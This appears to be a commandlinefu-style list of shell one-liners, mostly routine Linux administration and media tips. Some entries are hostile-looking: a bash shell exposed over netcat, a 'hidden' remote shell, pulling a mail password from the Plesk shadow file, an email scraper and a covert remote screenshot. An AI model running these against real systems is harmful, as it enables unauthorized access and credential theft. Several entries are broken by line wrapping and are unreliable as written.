cat /sys/class/net/*/address
# kill all process that belongs to you
pkill -u `whoami`
# Takes an html file and outputs plain text from it
lynx -dump somefile.html
# print shared library dependencies
LD_TRACE_LOADED_OBJECTS=1 name_of_executable
# Unixtime
date +%s
# Refresh the cache of font directory
sudo fc-cache -f -v
# video thumbnail gallery
totem-video-thumbnailer -pg 25 in_video out_png
# Eliminate dead symlinks interactively in /usr/ recursevely
find /usr/ -type l ! -xtype f ! -xtype d -ok rm -f {} \;
# translate what is in the clipboard in english and write it to the terminal
wget -qO - "http://ajax.googleapis.com/ajax/services/language/translate?langpair=|en&v=1.0&q=`xsel`" |cut -d \" -f 6
# list all executables in your path
ls `echo $PATH | sed 's/:/ /g'`
# Define an alias with a correct completion
old='apt-get'; new="su-${old}"; command="sudo ${old}"; alias "${new}=${command}"; $( complete | sed -n "s/${old}$/${new}/p" ); alias ${new}; complete -p ${new}
# Get your outgoing IP address
curl -s icanhazip.com
# add a gpg key to aptitute package manager in a ubuntu system
wget -q http://xyz.gpg -O- | sudo apt-key add -
# Download entire commandlinefu archive to single file
for x in `seq 0 25 $(curl "http://www.commandlinefu.com/commands/browse"|grep "Terminal - All commands" |perl -pe 's/.+(\d+),(\d+).+/$1$2/'|head -n1)`; do curl
"http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done > a.txt
# Determine if a command is in your $PATH using POSIX
command -v bash
# Picture Renamer
jhead -n%Y%m%d-%H%M%S *.jpg
# Facebook Email Scraper
fbemailscraper YourFBEmail Password
# Go to the next sibling directory in alphabetical order
for d in `find .. -mindepth 1 -maxdepth 1 -type d | sort`; do if [[ `basename $d` > `basename $PWD` ]]; then cd $d; break; fi; done
# Search shoutcast web radio by keyword
echo "Keyword?";read keyword;query="http://www.shoutcast.com/sbin/newxml.phtml?search="$keyword"";curl -s $query |awk -F '"' 'NR <= 4
{next}NR>15{exit}{sub(/SHOUTcast.com/,"http://yp.shoutcast.com/sbin/tunein-station.pls?id="$6)}{print i++" )"$2}'
# Get Dollar-Euro exchage rate
curl -s wap.kitco.com/exrate.wml | awk ' BEGIN { x=0; FS = "<" } { if ($0~"^ ") {x=0} if (x==1) {print $1} if ($0~"EUR/US") {x=1} }'
# search for a file in PATH
type
# Top ten (or whatever) memory utilizing processes (with children aggregate)
ps axo rss,comm,pid | awk '{ proc_list[$2]++; proc_list[$2 "," 1] += $1; } END { for (proc in proc_list) { printf("%d\t%s\n", proc_list[proc "," 1],proc); }}'
| sort -n | tail -n 10
# Recursively Find Images, Convert to JPEGS and Delete
find . -name '*'.tiff -exec bash -c "mogrify -format jpg -quality 85 -resize 75% {} && rm {}" \;
# Get your Tweets from the command line
curl -s -u user:password 'http://twitter.com/statuses/friends_timeline.xml?count=5' | xmlstarlet sel -t -m '//status' -v 'user/screen_name' -o ': ' -v 'text' -n
# Bash: escape '-' character in filename
mv -- -filename filename
# convert UNIX timestamp to UTC timestamp
TZ=UTC date -d @1320198157
# Tired of switching between proxy and no proxy? here's the solution.
iptables -t nat -A OUTPUT -d ! 10.0.0.0/8 -p tcp --dport 80 -j DNAT --to-destination 10.1.1.123:3128
# Get a regular updated list of zombies
watch "ps auxw | grep 'defunct' | grep -v 'grep' | grep -v 'watch'"
# Add all unversioned files to svn
svn st | grep "^\?" | awk "{print \$2}" | xargs svn add $1
# Print permanent subtitles on a video
transcode -i myvideo.avi -x mplayer="-sub myvideo.srt" -o myvideo_subtitled.avi -y xvid
# show installed but unused linux headers, image, or modules
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d'
# Create user add lines from partial passwd file
awk -F: '{print "useradd -u "$3,"-c \""$5"\"","-s "$7,$1}' passwd
# print line and execute it in BASH
bash -x script.sh
# BASH one-liner to get the current week number
date +"%V"
# grep apache access.log and list IP's by hits and date - sorted
grep Mar/2009 /var/log/apache2/access.log | awk '{ print $1 }' | sort -n | uniq -c | sort -rn | head
# Recursively remove 0kb files from a directory
find . -empty -type f -delete
# Mount directories in different locations
mount --bind /old/directory/path /new/directory/path
# Resize a Terminal Window
printf "\e[8;70;180;t"
# Update program providing a functionality on Debian
update-alternatives --config java
# Short one line while loop that outputs parameterized content from one file to
anothercut -f 1 three-column.txt > first-column.txt
# Happy Days
echo {'1,2,3',4}" o'clock" ROCK
# print all network interfaces' names and IPv4 addresses
alias ips='ip a | awk '\''/inet /&&!/ lo/{print $NF,$2}'\'' | column -t'
# Monitoring file handles used by a particular process
lsof -c -r
# Share a screen session
screen -x
# another tweet function
tweet () { curl -u UserName -d status="$*" http://twitter.com/statuses/update.xml; }
# Create QR codes from a URL.
qrurl() { curl -sS "http://chart.apis.google.com/chart?chs=200x200&cht=qr&chld=H|0&chl=$1" -o - | display -filter point -resize 600x600 png:-; }
# easily strace all your apache processes
ps auxw | grep sbin/apache | awk '{print"-p " $2}' | xargs strace
# Socksify any program to avoid restrictive firwalls
tsocks
# Find a file's package or list a package's contents.
dlocate [ package | string ]
# Play random music from blip.fm
mpg123 `curl -s http://blip.fm/all | sed -e 's#"#\n#g' | grep mp3$ | xargs`
# Copy your ssh public key to a server from a machine that doesn't have ssh-copy
-idcat ~/.ssh/id_rsa.pub | ssh "(cat > tmp.pubkey ; mkdir -p .ssh ; touch .ssh/authorized_keys ; sed -i.bak -e '/$(awk '{print $NF}'
~/.ssh/id_rsa.pub)/d' .ssh/authorized_keys; cat tmp.pubkey >> .ssh/authorized_keys; rm tmp.pubkey)"
# On-the-fly unrar movie in .rar archive and play it, does also work on part arc
hives.unrar p -inul foo.rar|mplayer -
# Change Windows Domain password from Linux
smbpasswd -r -U
# Tell Analytics to fuck itself.
gofuckanalytics() { echo "DELETE FROM moz_cookies WHERE name LIKE '__utm%';" | sqlite3 $( find ~/.mozilla -name cookies.sqlite ) }
# Quick directory bookmarks
to() { eval dir=\$$1; cd "$dir"; }
# List all process running a specfic port
sudo lsof -i :
# Mount a partition from within a complete disk dump
lomount -diskimage /path/to/your/backup.img -partition 1 /mnt/foo
# Use AbiWord to generate a clean HTML document from a Microsoft Word document.
abiword --to=html file.doc --exp-props=
# netcat as a portscanner
nc -v -n -z -w 1 127.0.0.1 22-1000
# Record audio and video from webcam using ffmpeg
ffmpeg -f alsa -r 16000 -i hw:2,0 -f video4linux2 -s 800x600 -i /dev/video0 -r 30 -f avi -vcodec mpeg4 -vtag xvid -sameq -acodec libmp3lame -ab 96k output.avi
# Determine MAC address of remote host when you know its IP address
arping 192.168.1.2
# Create subdirectory and move files into it
(ls; mkdir subdir; echo subdir) | xargs mv
# Backup all mysql databases to individual files on a remote server
for I in $(mysql -e 'show databases' -u root --password=root -s --skip-column-names); do mysqldump -u root --password=root $I | gzip -c | ssh user@server.com
"cat > /remote/$I.sql.gz"; done
# Search and Replace across multiple files
grep -lr -e '' * | xargs sed -i 's///g'
# Count the total number of files in each immediate subdirectory
find . -type f -printf "%h\n" | cut -d/ -f-2 | sort | uniq -c | sort -rn
# Check if a process is running
kill -0 [pid]
# Encrypted archive with openssl and tar
tar c folder_to_encrypt | openssl enc -aes-256-cbc -e > secret.tar.enc
# grep certain file types recursively
find . -name "*.[ch]" | xargs grep "TODO"
# Detect Language of a string
detectlanguage(){ curl -s "http://ajax.googleapis.com/ajax/services/language/detect?v=1.0&q=$@" | sed 's/{"responseData": {"language":"\([^"]*\)".*/\1\n/'; }
# Generate a binary file with all ones (0xff) in it
tr '\000' '\377' < /dev/zero | dd of=allones bs=1024 count=2k
# list all file extensions in a directory
ls -Xp | grep -Eo "\.[^/]+$" | sort | uniq
# decoding Active Directory date format
ldapsearch -v -H ldap:// -x -D cn=,cn=,dc=,dc= -w -b ou=,dc=,dc= -s sub
sAMAccountName=* '*' | perl -pne 's/(\d{11})\d{7}/"DATE-AD(".scalar(localtime($1-11644473600)).")"/e'
# Function that counts recursively number of lines of all files in specified fol
derscount() { find $@ -type f -exec cat {} + | wc -l; }
# Display screen window number in prompt
[[ "$WINDOW" ]] && PS1="\u@\h:\w[$WINDOW]\$ "
# Command line progress bar
tar zcf - user | pv /bin/gzip > /tmp/backup.tar.gz
# Watch several log files in a single window
multitail /var/log/messages /var/log/apache2/access.log /var/log/mail.info
# Create a thumbnail from a video file
thumbnail() { ffmpeg -itsoffset -20 -i $i -vcodec mjpeg -vframes 1 -an -f rawvideo -s 640x272 ${i%.*}.jpg }
# prints line numbers
cat -n
# Simple XML tag extract with sed
sed -n 's/.*\([^<]*\)<\/foo>.*/\1/p'
# delay execution of a command that needs lots of memory and CPU time until the
resources are available( ( while [ 2000 -ge "$(free -m | awk '/buffers.cache:/ {print $4}')" ] || [ $(echo "$(uptime | awk '{print $10}' | sed -e 's/,$//' -e
's/,/./') >= $(grep -c ^processor /proc/cpuinfo)" | bc) -eq 1 ]; do sleep 10; done; my-command > output.txt ) & )
# Test for Weak SSL Ciphers
openssl s_client -connect [host]:[sslport] -cipher LOW
# Notify me when users log in
notifyme -C `cat /etc/passwd | cut -d: -f1`
# show git commit history
git reflog show | grep '}: commit' | nl | sort -nr | nl | sort -nr | cut --fields=1,3 | sed s/commit://g | sed -e 's/HEAD*@{[0-9]*}://g'
# diff two sorted files
diff <(sort file1.txt) <(sort file2.txt)
# Convert wmv into avi
mencoder infile.wmv -ofps 23.976 -ovc lavc -oac copy -o outfile.avi
# Rapidly invoke an editor to write a long, complex, or tricky command
v or ctrl-x ctrl-e
# determine if tcp port is open
nmap -p 80 hostname
# Verify if ntpd is working properly
ntpq -p
# Find and copy scattered mp3 files into one directory
find . -iname '*.mp3' -type f -print0 | xargs -I{} -0 cp {}
# Suppress output of loud commands you don't want to hear from
quietly() { "$@" |&:; }
# Size(k) of directories(Biggest first)
find . -depth -type d -exec du -s {} \; | sort -k1nr
# A function to find the newest file in a directory
newest () { find ${1:-\.} -type f |xargs ls -lrt ; }
# ssh autocomplete
complete -W "$(echo `cat ~/.ssh/known_hosts | cut -f 1 -d ' ' | sed -e s/,.*//g | uniq | grep -v "\["`;)" ssh
# recursive search and replace old with new string, inside files
find . -type f -exec sed -i s/oldstring/newstring/g {} +
# kill all processes using a directory/file/etc
lsof|grep /somemount/| awk '{print $2}'|xargs kill
# List your largest installed packages.
dpkg --get-selections | cut -f1 | while read pkg; do dpkg -L $pkg | xargs -I'{}' bash -c 'if [ ! -d "{}" ]; then echo "{}"; fi' | tr '\n' '\000' | du -c
--files0-from - | tail -1 | sed "s/total/$pkg/"; done
# Print current runlevel
who -r
# Console clock
yes "echo -ne '\r'\`date\`;sleep 1" | sh
# Lookup your own IPv4 address
dig +short myip.opendns.com @resolver1.opendns.com
# kill some pids without specific pid
pkill -9 search_criteria
# Randomize lines in a file
shuf SOMEFILE
# Rename all (jpg) files written as 3 number in 4 numbers.
for i in ???.jpg; do mv $i $(printf %04d $(basename $i .jpg) ).jpg ; done
# Calculate sum of N numbers (Thanks to flatcap)
seq -s "+" 3 | bc
# Load another file in vim
:split
# Debug bash shell scripts.
bash -x SCRIPT
# Pronounce an English word using Merriam-Webster.com
pronounce(){ wget -qO- $(wget -qO- "http://www.m-w.com/dictionary/$@" | grep 'return au' | sed -r "s|.*return au\('([^']*)',
'([^'])[^']*'\).*|http://cougar.eb.com/soundc11/\2/\1|") | aplay -q; }
# Extract audio stream from an AVI file using mencoder
mencoder "${file}" -of rawaudio -oac mp3lame -ovc copy -o audio/"${file/%avi/mp3}"
# Perform sed substitution on all but the last line of input
sed -e "$ ! s/$/,/"
# Terminal - Prints out, what the users name, notifyed in the gecos field, is
getent passwd $(whoami) | cut -f 5 -d: | cut -f 1 -d,
# How to run a command on a list of remote servers read from a file
dsh -M -c -f servers -- "command HERE"
# Weather on the Command line
lynx -dump http://api.wunderground.com/weatherstation/WXCurrentObXML.asp?ID=KCALOSAN32 | grep GMT | awk '{print $3}'
# Create date based backups
backup() { for i in "$@"; do cp -va $i $i.$(date +%Y%m%d-%H%M%S); done }
# Determine whether a CPU has 64 bit capability or not
sudo dmidecode --type=processor | grep -i -A 1 charac
# Capture video of a linux desktop
ffmpeg -y -f alsa -ac 2 -i pulse -f x11grab -r 30 -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -i :0.0 -acodec pcm_s16le output.wav -an -vcodec libx264
-vpre lossless_ultrafast -threads 0 output.mp4
# Run a command as root, with a delay
sudo bash -c "sleep 1h ; command"
# Broadcast your shell thru port 5000
bash -i 2>&1 | tee /dev/stderr | nc -l 5000
# shutdown pc in 4 hours without needing to keep terminal open / user logged in.
shutdown -h 240 & disown
# Propagate a directory to another and create symlink to content
lndir sourcedir destdir
# Find files that were modified by a given command
strace
# validate the syntax of a perl-compatible regular expression
perl -we 'my $regex = eval {qr/.*/}; die "$@" if $@;'
# get you public ip address
curl ifconfig.me
# Copy a file using dd and watch its progress
dd if=fromfile of=tofile & DDPID=$! ; sleep 1 ; while kill -USR1 $DDPID ; do sleep 5; done
# Jump up to any directory above the current one
upto() { cd "${PWD/\/$@\/*//$@}" }
# Determine whether a CPU has 64 bit capability or not
if cat /proc/cpuinfo | grep " lm " &> /dev/null; then echo "Got 64bit" ; fi
# Pipe text from shell to windows cut and paste buffer using PuTTY and XMing.
echo "I'm going to paste this into WINDERS XP" | xsel -i
# Simple top directory usage with du flips for either Linux or base Solaris
( du -xSk || du -kod ) | sort -nr | head
# Count down from 10
for (( i = 10; i > 0; i-- )); do echo "$i"; sleep 1; done
# bash shell expansion
cp /really/long/path/and/file/name{,-`date -I`}
# Vi - Matching Braces, Brackets, or Parentheses
%
# Find the process you are looking for minus the grepped one
ps -C command
# Clear mistyped passwords from password prompt
^u
# Find broken symlinks in the current directory and its subdirectories.
find -L -type l
# Move all comments the top of the file in vim
:g:^\s*#.*:m0
# What is My WAN IP?
curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'
# Scan for nearby Bluetooth devices.
hcitool scan
# matrix in your term
cmatrix -abx
# Show apps that use internet connection at the moment.
netstat -lantp | grep -i establ | awk -F/ '{print $2}' | sort | uniq
# validate json
curl -s -X POST http://www.jsonlint.com/ajax/validate -d json="`cat file.js`" -d reformat=no
# find an unused unprivileged TCP port
netstat -atn | awk ' /tcp/ {printf("%s\n",substr($4,index($4,":")+1,length($4) )) }' | sed -e "s/://g" | sort -rnu | awk '{array [$1] = $1} END {i=32768;
again=1; while (again == 1) {if (array[i] == i) {i=i+1} else {print i; again=0}}}'
# update you web
git archive --format=tar HEAD | (cd /var/www/ && tar xf -)
# Suspend an ssh session.
~ ctrl-z
# VMware Server print out the state of all registered Virtual Machines.
for vm in $(vmware-cmd -l);do echo -n "${vm} ";vmware-cmd ${vm} getstate|awk '{print $2 " " $3}';done
# Twitter update from terminal (pok3's snipts ?)
curl -u YourUsername:YourPassword -d status="Your status message go here" http://twitter.com/statuses/update.xml
# List of reverse DNS records for a subnet
nmap -R -sL 209.85.229.99/27 | awk '{if($3=="not")print"("$2") no PTR";else print$3" is "$2}' | grep '('
# bash-quine
s='s=\47%s\47; printf "$s" "$s"'; printf "$s" "$s"
# Reconnect to screen without disconnecting other sessions
screen -xR
# full memcache client in under 255 chars (uses dd, sed and nc)
mem(){ { case $1 in st*|[vgid]*) printf "%s " "$@";; *) dd if=$3 2>&1|sed '$!d;/^0/d;s/ .*//;s/^/'"$1"' '"$2"' 1 0 /; r '"$3"'' 2>/dev/null;;esac;printf
"\r\nquit\r\n";}|nc -n 127.0.0.1 11211; }
# remove all snapshots from all virtual machines in vmware esx
time vmware-cmd -l | while read x; do printf "$x"; vmware-cmd "$x" removesnapshots; done
# Twitpic upload and Tweet
curl --form username=from_twitter --form password=from_twitter --form media=@/path/to/image --form-string "message=tweet" http://twitpic.com/api/uploadAndPost
# split a multi-page PDF into separate files
gs -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -dFirstPage=2 -dLastPage=2 -sOutputFile=page2.pdf multipageinputfile.pdf
# Grab a list of MP3s out of Firefox's cache
for i in `ls ~/.mozilla/firefox/*/Cache`; do file $i | grep -i mpeg | awk '{print $1}' | sed s/.$//; done
# Generate White Noise
cat /dev/urandom > /dev/dsp
# Convert a SVG file to grayscale
inkscape -f file.svg --verb=org.inkscape.color.grayscale --verb=FileSave --verb=FileClose
# Clean way of re-running bash startup scripts.
exec bash
# output list of modifications for an svn revision
svn log $url -r $revision -v | egrep " [RAMD] \/" | sed s/^.....//
# Console clock
watch -n1 'date "+%T"'
# Download from Rapidshare Premium using wget - Part 1
wget --save-cookies ~/.cookies/rapidshare --post-data "login=USERNAME&password=PASSWORD" -O - https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi > /dev/null
# list all opened ports on host
nmap -p 1-65535 --open localhost
# remove empty lines in place with backup
sed -e '/^$/d' -i .bak filewithempty.lines
# stop windows update
runas /user:administrator net stop wuauserv
# convert a line to a space
cat file | tr '\n' ''
# Real time satellite wheather wallpaper
curl http://www.cpa.unicamp.br/imagens/satelite/ult.gif | xli -onroot -fill stdin
# Send a local file via email
mpack -s "Backup: $file" "$file" email@id.com
# ping MAC ADDRESS
ping -c 2 `arp-scan 10.1.1.0/24 | awk '/00:1b:11:dc:a9:65/ {print $1}'`
# list all opened ports on host
sudo lsof -P -i -n -sTCP:LISTEN
# list folders containing less than 2 MB of data
find . -type d -exec du -sk '{}' \; | awk '($1 < 2048) {print $2}'
# display typedefs, structs, unions and functions provided by a header file
cpp /usr/include/stdio.h | grep -v '^#' | grep -v '^$' | less
# Output Detailed Process Tree for any User
psu(){ command ps -Hcl -F S f -u ${1:-$USER}; }
# Lists all directories under the current dir excluding the .svn directory and i
ts contentsfind . \( -type d -name .svn -prune \) -o -type d -print
# bash pause command
read -p "Press enter to continue.."
# static compilation
st() { LDFLAGS=-static CFLAGS=-static CXXFLAGS=-static NOSHARED=yes ./configure $@ ;} usage: st [configure operands]
# Display a list of RPMs installed on a particular date
rpm -qa --queryformat '%{installtime} \"%{vendor}\" %{name}-%{version}-%{release} %{installtime:date}\n' | grep "Thu 05 Mar"
# For finding out if something is listening on a port and if so what the daemon
is.fuser -n tcp {0..65535}
# Fibonacci numbers with awk
awk 'func f(n){return(n<2?n:f(n-1)+f(n-2))}BEGIN{while(a<24){print f(a++)}}'
# Remove all the files except abc in the directory
find * -maxdepth 1 -type f ! -name abc -delete
# Email a file to yourself
uuencode $file $file | /usr/bin/mailx -s "$file" ${USER}
# Url Encode
echo "$url" | perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'
# Substitute spaces in filename with underscore
ls -1 | rename 's/\ /_/'
# Create a 5 MB blank file
dd if=/dev/zero of=testfile bs=1024 count=5000
# removing syncronization problems between audio and video
ffmpeg -i source_audio.mp3 -itsoffset 00:00:10.2 -i source_video.m2v target_video.flv
# Show simple disk IO table using snmp
watch -n1 snmptable -v2c -c public localhost diskIOTable
# vim's pastetoggle: when you press f9 'paste' is on , press f9 again and 'paste
' is off, and so forth (works in insert-mode and command-mode):set pt=
# extracting audio and video from a movie
ffmpeg -i source_movie.flv -vcodec mpeg2video target_video.m2v -acodec copy target_audio.mp3
# Mount a disk image (dmg) file in Mac OSX
hdiutil attach somefile.dmg
# Shows you how many hours of avi video you have.
/usr/share/mplayer/midentify.sh `find . -name "*.avi" -print` | grep ID_LENGTH | awk -F "=" '{sum += $2} END {print sum/60/60; print "hours"}'
# List the size (in human readable form) of all sub folders from the current loc
ationdu -sch ./*
# Binary clock
echo "10 i 2 o $(date +"%H%M"|cut -b 1,2,3,4 --output-delimiter=' ') f"|dc|tac|xargs printf "%04d\n"|tr "01" ".*"
# Display HTTP-header using curl
curl -I g.cn
# Mac OS-X-> copy and paste things to and from the clipboard from the shell
command | pbcopy && pbpaste
# Get information on your graphics card on linux (such as graphics memory size)
for I in `/sbin/lspci |awk '/VGA/{print $1}'`;do /sbin/lspci -v -s $I;done
# Convert mp3/wav file to asterisk ulaw for music on hold (moh)
sox -v 0.125 -V -t au -r 8000 -U -b -c 1 resample -ql
# distribution specific information
lsb_release -a
# Lists all files and directories with modified time newer than a given date
touch -t "YYYYMMDDhhmm.ss" ~/.ts ; find . -newer ~/.ts
# Resize A Mounted EXT3 File System
v=/dev/vg0/lv0; lvextend -L+200G $v && resize2fs $v
# Securely destroy data (including whole hard disks)
shred targetfile
# Count number of Line for all the files in a directory recursively
for file in `find . -type f`; do cat $file; done | wc -l
# How to know the total number of packages available
apt-cache stats
# killall -r ".*my-process.*"
Kill all process using regular expression (-r option)
# Kill all Zombie processes (Guaranteed!)
kill -9 `ps -xaw -o state -o ppid | grep Z | grep -v PID | awk '{print $2}'`
# Show current weather for any US city or zipcode
weather() { lynx -dump "http://mobile.weather.gov/port_zh.php?inputstring=$*" | sed 's/^ *//;/ror has occ/q;2h;/__/!{x;s/\n.*//;x;H;d};x;s/\n/ -- /;q';}
# recursive remove all htm files
find . -type f -name '*.htm' -delete
# Convert deb to rpm
alien -r -c file.deb
# Find Duplicate Files (based on size first, then MD5 hash)
fdupes -r .
# Show interface/ip using awk
ifconfig -a| awk '/^wlan|^eth|^lo/ {;a=$1;FS=":"; nextline=NR+1; next}{ if (NR==nextline) { split($2,b," ")}{ if ($2 ~ /[0-9]\./) {print a,b[1]}; FS=" "}}'
# shows the full path of shell commands
which command
# Quickly analyse an Apache error log
for i in emerg alert crit error warn ; do awk '$6 ~ /^\['$i'/ {print substr($0, index($0,$6)) }' error_log | sort | uniq -c | sort -n | tail -1; done
# Poor's man Matrix script
while (true) ; do pwgen 1 ; done
# colored prompt
export PS1='\[\033[0;35m\]\h\[\033[0;33m\] \w\[\033[00m\]: '
# uniq for unsorted data
awk '!_[$0]++{print}'
# setup a tunnel from destination machine port 80 to localhost 2001, via a secon
d (hub) machine.ssh -N -L2001:localhost:80 -o "ProxyCommand ssh someuser@hubmachine nc -w 5 %h %p" someuser@destinationmachine
# find the longest command in your history
history | perl -lane '$lsize{$_} = scalar(@F); if($longest<$lsize{$_}) { $longest = $lsize{$_}; print "$_"; };' | tail -n1
# Pulls total current memory usage, including SWAP being used, by all active pro
cesses.ps aux | awk '{sum+=$6} END {print sum/1024}'
# Ext3 format Terabytes in Seconds
mkfs.ext3 -T largefile4
# Random numbers with Ruby
ruby -e "puts (1..20).map {rand(10 ** 10).to_s.rjust(10,'0')}"
# Tar - Compress by excluding folders
tar -cvzf arch.tgz $(find /path/dir -not -type d)
# improve copy file over ssh showing progress
file='path to file'; tar -cf - "$file" | pv -s $(du -sb "$file" | awk '{print $1}') | gzip -c | ssh -c blowfish user@host tar -zxf - -C /opt/games
# Compression formats Benchmark
for a in bzip2 lzma gzip;do echo -n>$a;for b in $(seq 0 256);do dd if=/dev/zero of=$b.zero bs=$b count=1;c=$(date +%s%N);$a $b.zero;d=$(date
+%s%N);total=$(echo $d-$c|bc);echo $total>>$a;rm $b.zero *.bz2 *.lzma *.gz;done;done
# Perl one liner for epoch time conversion
perl -pe's/([\d.]+)/localtime $1/e;'
# Print all the lines between 10 and 20 of a file
sed '10,20!d'
# List processes sorted by CPU usage
ps -ef --sort=-%cpu
# ensure your ssh tunnel will always be up (add in crontab)
[[ $(COLUMNS=200 ps faux | awk '/grep/ {next} /ssh -N -R 4444/ {i++} END {print i}') ]] || nohup ssh -N -R 4444:localhost:22 user@relay &
# Create Encrypted WordPress MySQL Backup without any DB details, just the wp-co
nfig.phpeval $(sed -n "s/^d[^D]*DB_\([NUPH]\)[ASO].*',[^']*'\([^']*\)'.*/_\1='\2'/p" wp-config.php) && mysqldump --opt --add-drop-table -u$_U -p$_P -h$_H $_N |
gpg -er AskApache >`date +%m%d%y-%H%M.$_N.sqls`
# Show directories in the PATH, one per line
( IFS=:; for p in $PATH; do echo $p; done )
# Bulk install
aptitude install '?and(~nlib.*perl, ~Dmodule)'
# Change wallpaper for xfce4 >= 4.6.0
xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s
# Replace all tabs with spaces in an application
grep -PL "\t" -r . | grep -v ".svn" | xargs sed -i 's/\t/ /g'
# Check apache config syntax and restart or edit the file
( apache2ctl -t && service apache2 restart || (l=$(apache2ctl -t 2>&1|head -n1|sed 's/.*line\s\([0-9]*\).*/\1/'); vim +$l $(locate apache2.conf | head -n1)))
# Show the 20 most CPU/Memory hungry processes
ps aux | sort +2n | tail -20
# Show the UUID of a filesystem or partition
sudo vol_id -u /dev/sda1
# use the real 'rm', distribution brain-damage notwithstanding
\rm somefile
# Mount partition from image (without offset mount)
losetup /dev/loop0 harddrive.img; kpartx -a -v /dev/loop0; mount /dev/mapper/loop0p1 /mountpoint/
# useless load
cat /dev/urandom | gzip -9 > /dev/null &
# Read aloud a text file in Mac OS X
say -f file.txt
# Remote screenshot
DISPLAY=":0.0"; export DISPLAY; import -window root gotya.png
# Cleanup debian/ubuntu package configurations
sudo dpkg-reconfigure -a
# List only executables installed by a debian package
find $(dpkg -L iptables) -maxdepth 0 -executable -type f
# rot13 simple substitution cipher via command line
alias rot13='perl -pe "y/A-Za-z/N-ZA-Mn-za-m/;"'
# Current running process ordered by %CPU
ps -eo pcpu,pid,args | sort -n
# To find the uptime of each process-id of particular service or process
ps -o etime `pidof firefox` |grep -v ELAPSED | sed 's/\s*//g' | sed "s/\(.*\)-\(.*\):\(.*\):\(.*\)/\1d \2h/; s/\(.*\):\(.*\):\(.*\)/\1h
\2m/;s/\(.*\):\(.*\)/\1m \2s/"
# Email yourself a short note
quickemail() { echo "$*" | mail -s "$*" email@email.com; }
# Show in a web server, running in the port 80, how many ESTABLISHED connections
by ip it has.netstat -ant | grep :80 | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -n
# clean up syntax and de-obfuscate perl script
%! perl -MO=Deparse | perltidy
# Convert (almost) any video file into webm format for online html5 streaming
ffmpeg -i input_file.avi output_file.webm
# Search commandlinefu.com from the command line using the API
curl "http://www.commandlinefu.com/commands/matching/$(echo "$@" | sed 's/ /-/g')/$(echo -n $@ | base64)/plaintext"
# Short and sweet output from dig(1)
alias ds='dig +noauthority +noadditional +noqr +nostats +noidentify +nocmd +noquestion +nocomments'
# Backup of a partition
cd /mnt/old && tar cvf - . | ( cd /mnt/new && tar xvf - )
# xargs for builtin bash commands
xargsb() { while read -r cmd; do ${@//'{}'/$cmd}; done; }
# Creates a symbolic link or overwrites an existing one
ln -nvfs /source /destination
# display contents of a file w/o any comments or blank lines
egrep '^[^#]' some_file
# Send a signed and encrypted email from the command line
echo "SECRET MESSAGE" | gpg -e --armor -s | sendmail USER@DOMAIN.COM
# which process is accessing the CDROM
lsof -n | grep /media/cdrom
# kills rapidly spawning processes that spawn faster than you can repeat the kil
lall commandalias a=" killall rapidly_spawning_process"; a; a; a;
# Search manpages for a keyword
man -k
# from the console, start a second X server
xinit -- :1
# Faster find and move using the find and xargs commands. Almost as fast as loca
te.find . -maxdepth 2 -name "*somepattern" -print0 | xargs -0 -I "{}" echo mv "{}" /destination/path
# Send your terminfo to another machine
infocmp rxvt-unicode | ssh 10.20.30.40 "mkdir -p .terminfo && cat >/tmp/ti && tic /tmp/ti"
# Live filter a log file using grep and show x# of lines above and below
tail -f | grep -C <# of lines to show above and below>
# Watch contents of a file grow
tail -n 0 -f /var/log/messages
# DVD to YouTube ready watermarked MPEG-4 AVI file using mencoder (step 2)
mencoder -sub heading.ssa -subpos 0 -subfont-text-scale 4 -utf8 -oac copy -ovc lavc -lavcopts vcodec=mpeg4 -vf scale=320:-2,expand=:240:::1 -ffourcc xvid -o
output.avi dvd.avi
# Merge video files together using mencoder (part of mplayer)
mencoder -oac copy -ovc copy part1.avi part2.avi part3.avi -o full_movie.avi
# Remove several files with ease
rm file{1..10}
# Pulls email password out of Plesk database for given email address.
mysql -uadmin -p`cat /etc/psa/.psa.shadow` -e "use psa; select accounts.password FROM accounts JOIN mail ON accounts.id=mail.account_id WHERE
mail.mail_name='webmaster';"
# Grab all .flv files from a webpage to the current working directory
wget `lynx -dump http://www.ebow.com/ebowtube.php | grep .flv$ | sed 's/[[:blank:]]\+[[:digit:]]\+\. //g'`
# Extract title from HTML files
sed -n 's/.*\(.*\)<\/title>.*/\1/ip;T;q' file.html
# List all packages by installed size (Bytes) on rpm distros
rpm -q -a --qf '%10{SIZE}\t%{NAME}\n' | sort -k1,1n
# Generate a list of installed packages on Debian-based systems
dpkg -l
# List manually installed packages (excluding Essentials)
aptitude search '~i!~E' | grep -v "i A" | cut -d " " -f 4
# Display summary of git commit ids and messages for a given branch
git log master | awk '/commit/ {id=$2} /\s+\w+/ {print id, $0}'
# date offset calculations
date --date="1 fortnight ago"
# Sum size of files returned from FIND
find [path] [expression] -exec du -ab {} \; | awk '{total+=$0}END{print total}'
# Read PDFs in the command line
pdftohtml -i -stdout FILE.pdf | w3m -T text/html
# StopWatch, simple text, hh:mm:ss using Unix Time
export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds %
60)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds)'
# Extract all 7zip files in current directory taking filename spaces into accoun
tfor file in *.7z; do 7zr e "$file"; done
# Measure, explain and minimize a computer's electrical power consumption
sudo powertop
# Show top running processes by the number of open filehandles they have
lsof | awk '{print $1}' | sort | uniq -c | sort -rn | head
# Randomize lines (opposite of | sort)
random -f
# Connect to TCP port 5000, transfer data and close connexion.
echo data | nc -q 0 host 5000
# Maximum PNG compression with optipng, advpng, and advdef
optipng -o3 *png && advpng -z -4 *png && advdef -z -4 *png
# find . -name
find . -name "*.txt" -exec sed -i "s/old/new/" {} \;
# "hidden" remote shell
ssh -T user@host /bin/bash -i
